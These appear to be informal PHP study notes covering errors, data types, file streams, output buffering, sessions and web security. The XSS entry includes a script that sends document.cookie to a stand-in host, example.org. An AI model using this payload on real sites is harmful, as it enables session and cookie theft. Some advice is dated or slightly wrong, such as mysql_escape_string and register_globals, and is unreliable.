Errors and Exceptions
- Error is PHP inbuilt whereas Exceptions are thrown. Exceptions are objects.
- Types of error:
- Compile Time Errors – Cannot be trapped.
- Fatal Errors – Cannot be trapped.
- Recoverable Errors – Can be handled.
- Warnings – Do not halt execution.
- Notices – Do not halt execution.
- Error reporting tells what errors to report and display_errors and log_errors will tell how to report.
- @ – Error control operator.
- Instead of writing try catch blocks throughout the code you can write set_error_handler(“fn”); with the function fn being passed the error parameters. This function will handle all errors as exceptions.
-
set_error_handler("customError"); function customError($errno, $errstr);
- Exception is the base class provided by PHP and we can extend it.
- Throw throws an exception.
- PHP allows us to define a catch-all function that is automatically called whenever an exception is not handled. This function is set up by calling set_exception_handler();
-
function handleUncaughtException($e) { echo $e->getMessage(); }
Operators
- break n;
- continue n;
Basics
- Hypertext PreProcessor (Personal Home Page).
- General purpose.
- Object oriented.
- Loosely typed.
- Partially case sensitive.
- Case sensitive (both user defined and PHP defined) – (1) variables (2) constants (3) array keys (4) class variables (5) class constants.
- Case insensitive (both user defined and PHP defined) – (1) functions (2) class constructors (3) class functions (4) keywords and constructs (if, else, null etc).
- Code caches or accelerators.
- Zend engine compiles and then interpreted. There are few compilers which are mostly paid.
- Extensions: Core, Bundled, PECL (PHP extension code library), third party and DIY (do-it-yourself).
- PEAR (PHP extension and application repository) – DB:PHP.
- SPL: Standard PHP library.
General
- PHP could be called partially case sensitive since language statements and language functions not case sensitive
- Tags:
- Standard Tags — <?php ?>
- Short Tags —- <? ?> and
- Script Tags —- <script language=”php”></script>
- ASP Tags —- <% %>
- {} says it is a variable ${a}, {$a} Inside single quotes variables can’t be simply placed. Use “”.
- Comments:
-
//Single line comment. #Single line comment. /*Multi-line. comment */ /** * API Documentation Example. * * @param string $bar */ //Heredoc - It is similar to double quotes over multiple lines. <<<EOT ... text EOT; //Nowdoc - It is similar to single quotes over multiple lines. Only starting with PHP 5.3.0. <<<'EOT' ... text EOT;
Miscellaneous
- ini_set(“param”,value) will set php.ini configuration.
- SPL is Standard PHP Library is an addition to PHP 5. It provides a number of facilities that expose internal functionality of PHP. We can write objects that behave like arrays etc. For exmaple an object that iterates or loops like array.
- PHP 5 enhancements have been objects passed by reference, class methods and properties now feature visibility, interface and abstract class, multitude of new magic methods, SimpleXML, PDO, SPL, reflection.
Data Types
- The seven types are:
- Scalar = string, integer, float, boolean.
- Composite = array, object.
- Additional Types = NULL, resource.
- PHP considers the number false, 0, 0.000, 0, arr[], NULL to be false, and everything else to be true.
- Integers are stored in 2s complement system where the negative numbers are represented by the two’s complement of the absolute value (-2 = 2s complement of 2 = 2s complement of absolute value of 2 = 2s complement of 0010 => 1101+1=> 1110).
- For boolean XOR is denoted by ^ which is set if they are set in either operand and unset otherwise. Complement of 0 is 1 because ~0000 = 1111. This is 2s complement of 1111 => – (0000+1) = – (0001) = -1. So, in PHP ~N = -N-1.
- For modules the sign is that of division and value as if it is applied on positive operands.
- NULL means either not initialized or is initialized with special value NULL.
- Resource handles external resources.
Streams and Network Programming
File and file opening modes:
- r,w,a where r represents read, w represents write, a represents append.
- + will make it both read and write.
- In append mode file pointer points to the end which is otherwise at beginning.
- w additionally truncates file size to 0.
- x creates a new file.
- fgetcsv() and fputcsv() vastly simplify the task of accessing CSV files.
- file_get_contents() and file_put_contents() simply file writing.
-
if (!file_exist ("filename.txt")) { throw new Exception ("The file does not exist."); } $file = fopen("filename.txt", "r"); while (!feof($file)) { $txt .= fread($file, 1); //Last parameter number of bytes. fgets() stops at newline character. fwrite($file, $txt); } fseek($file,10,SEEK_CUR); //This will move file pointer by itself. The second parameter is the number of bytes to be moved (negative or positive) and third is the location from where to move - SEEK_SET (start), SEEK_CUR (current) and SEEK_END (end). fclose($file);
Directory:
- chdir(“path”) – Changes directory path.
- getcwd() – Gets current working directory.
- mkdir (“path”, 0666, true); – The second parameter gives access mode and last if set to true any missing directories in path will be created. Normally last directory is created.
- is_dir() – Checks if the path is a directory.
- is_executable() – Checks if the path is executable.
- is_file() – Checks if the path exists and is a regular file.
- is_link() – Checks if the path exists and is a symlink.
- is_readable() – Checks if the path exists and is readable.
- is_writable() – Checks if the path exists and is writable.
- is_uploaded_file() – Checks if the path is an uploaded file (sent via HTTP POST).
- File permissions on UNIX systems can be changed by using chmod(), chgrp() and chown() where path and access mode provided.
Network:
- Simple Network Access can be done by using some of the file functions.
- You can create socket servers and clients using the stream functions stream_socket_server() and stream_socket_client().
- Stream filters allow you to pass data in and out of a stream through a series of filters that can alter it dynamically like say filter for compression.
Security
- Encrypt data, filter input and escape output. Example filter_var($field, FILTER_SANITIZE_EMAIL), filter_var($field, FILTER_VALIDATE_EMAIL) etc.
- Turn off special php.ini setting called magic_quotes_gpc. mysql_escape_string( ) is required to make user input safe for database entry.
- Put key files outside document root. So not accessible. Also provide appropriate file ppermissions and block relvant files and folders using .htaccess.
- Set expose_php to OFF, use a different file extension and set display_errors to off. Set register_globals to OFF.
- Spoof forms can be used to attack website through form submissions from different locations by copying the code replacing the form action with absolute URL and replicating. Form. submission cannot be prevented but by spam check, HTTP_REFERER checking and tight server validation we can secure our site.
- Cross Site Scripting (XSS) is a method where a JavaScript is injected in a third-party site say through comment form and the execution of the script will send visiting user’s personal data like cookies.
-
<script> document.location = http://example.org/getcookies.php?cookies=+ document.cookie; </script>
- This can be prevented by proper escaping of output. So, JavaScript won’t execute while reading say a blog comment.
- Cross Site Request Forgeries utilizes the applications trust of user. Here a user when clicks on a third-party image is taken to a site from where an action is made. Here the link forces an action because the website has a vulnerability that when action is passed as a parameter some action occurs. Now they can even simulate POST request. Here the user must be logged in. To prevent this our authentic form should have some hidden random value from session and check whether the value posted is the same as in session for authenticity.
- SQL Injection. Use prepares or driver specific escape_string.
- Session fixation is an attack where attacker fixes a session and makes you access the application with that session id. Once you login or move to higher privilege the attacker may be able to ride on the same session. Since it is the session id that the server cares about. This can be prevented by regenerating session id using session_regenerate_id() on each higher privilege change.
- Session hijacking is gaining the user’s session and utilizing it. It can be checked by seeing if there is a HTTP_USER_AGENT change. But this is not 100% safe.
- Remote Code Injection is an attack that occurs when a require or include code portion is based on a tainted user input.
- Command injection occurs when tainted user input is used for shell execution. PHP provides escapeshellcmd() and escapeshellarg() as a means to properly escape shell output.
- In shared hosting open_basedir (Prevents opening files outside a path using include etc), disable_functions (disables certain functions for security), and disable_classes (disables certain classes for security).
Output Buffering
- Advantages: Headers and cookies can be sent at any point of time, compression and reordering of output buffers.
- Can use php.ini for to enable output buffering for all scripts.
- ob_start(), ob_end_flush( ), ob_end_clean( ), ob_flush( ).
and ob_clean() .Tthe clean variants just empty the buffer, whereas functions, print what’s in it. Additionally end variants turn off output buffering. - Read output buffer through ob_get_contents( ).
- flush().
- ob_start(“ob_gzhandler”) For compression using gzip library. Almost 90% compression is made possible.
- output_a dd_rewrite_var(‘param’, value’) and output_reset_rewrite_vars( ) For URL Rewrite.
Super Globals
- If register_globals turned ON the super globals will be stored in its corresponding local variables creating security issues. So, we need to initialize local variables before use.
- session_start( ) => PHP will check to see whether the visitor sent a session cookie. If it did, PHP will load the session data. Otherwise, PHP will create a new session file on the server, and send an ID back — SESSID or whatever name in config file.
- Clear session data for a user => $_SESSION = array(); session_destroy( ); For a particular session variable use unset.
- Sessions store only Id in a cookie and it expires when browser closes. It cannot be used outside a specific web browser. The corresponding datafile is stored on the server.
- Setcookie(name, value, expiry, path, domain, secure) //Before any html output.
- Cookies are hackable and permanent, can work with cluster of web servers, set with first page and resent back with every page.